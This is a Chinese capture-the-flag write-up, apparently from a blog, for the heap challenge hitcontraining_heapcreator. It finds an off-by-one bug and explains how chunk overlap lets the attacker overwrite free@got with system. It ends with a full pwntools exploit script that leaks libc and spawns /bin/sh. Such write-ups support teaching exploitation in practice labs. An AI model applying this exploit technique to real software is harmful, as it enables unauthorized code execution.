hitcontraining_heapcreator
使用checksec查看:

开启了Canary和栈不可执行,没有开启PIE。
先运行一下看看:

看到菜单,堆题,放进IDA中查看:

分布来查看,首先是create_heap():

heaparray[i] = malloc(0x10uLL):创建用户所需chunk前程序会先创建一个0x10大小的chunkv0[1] = malloc(size);:程序所创建的chunk中存放了用户所创的chunk的地址
edit_heap():

read_input(*((_QWORD *)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);:末尾多加了1,明显的off-by-one漏洞
show():

- 没啥问题,就显示出内容
delete_heap():

heaparray[v1] = 0LL;指针清了,也没啥问题。
题目思路
- 全局看下来只存在了一个
off-by-one漏洞。 - 利用 off by one 漏洞覆盖下一个 chunk 的 size 字段。
- 从而构造fake_chunk 大小。
- 申请fake_chunk 大小
- 产生 chunk overlap,进而修改关键指针。
步骤解析
程序自动创建的chunk大小是
0x10,所以本题我们也使用这个大小。
首先创建三个chunk


通过
off-by-one修改chunk0,覆盖到程序创建的chunk1的size位

接着free掉chunk1

可以看到free掉的chunk进入了fastbin中的
0x80位置,此时在申请一个0x70大小的chunk,就能将这个0x80块申请出来
此时chunk2的指针没有更改,系统创建的chunk2还是存放着用户创建的chunk2的地址
我们可以将该地址修改成
free@got的地址,泄露出libc的地址。


接着修改chunk2,对应得就会修改
free@got所指向的地址,将该地址修改成system的地址调用
free时,就会调用system,前面已经将chunk0的内容改为/bin/sh所以
free(0)就会变成system('/bin/sh')
完整exp:
from pwn import *
#start
# r = remote('node4.buuoj.cn',29754)
r = process("../buu/hitcontraining_heapcreator")
elf = ELF("../buu/hitcontraining_heapcreator")
libc = ELF("../buu/ubuntu16(64).so")
context.log_level='debug'
gdb.attach(r,"b *0x4008FA")
def add(size,content):
r.sendlineafter("choice :",'1')
r.sendlineafter("Heap : ",str(size))
r.sendlineafter("heap:",content)
def edit(idx,content):
r.sendlineafter("choice :",'2')
r.sendlineafter("Index :",str(idx))
r.sendlineafter("heap : ",content)
def show(idx):
r.sendlineafter("choice :",'3')
r.sendlineafter("Index :",str(idx))
def delete(idx):
r.sendlineafter("choice :",'4')
r.sendlineafter("Index :",str(idx))
#params
free_got = elf.got['free']
#attack
add(0x18,"MMMM")
add(0x10,"MMMM")
add(0x10,"MMMM")
# gdb.attach(r)
edit(0,b'/bin/sh\x00'+p64(0)*2+b'\x81')
# gdb.attach(r)
delete(1)
add(0x70,p64(0)*8+p64(0x8)+p64(free_got))
show(2)
free_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#libc
base_addr = free_addr - libc.symbols['free']
system_addr = base_addr + libc.symbols['system']
edit(2,p64(system_addr))
#gdb.attach(r)
delete(0)
r.interactive()
这篇博客详细介绍了如何利用off-by-one漏洞来攻击一个名为hitcontraining_heapcreator的程序。作者通过分析程序的内存分配和编辑功能,发现了一个off-by-one错误,并利用这个错误覆盖了相邻chunk的size字段,进而操纵内存分配,控制free@got的地址,最终实现system调用,执行/bin/sh。整个过程包括创建和编辑chunk、泄露libc地址、修改free@got为system地址,最后触发系统调用来获取shell。
619

被折叠的 条评论
为什么被折叠?



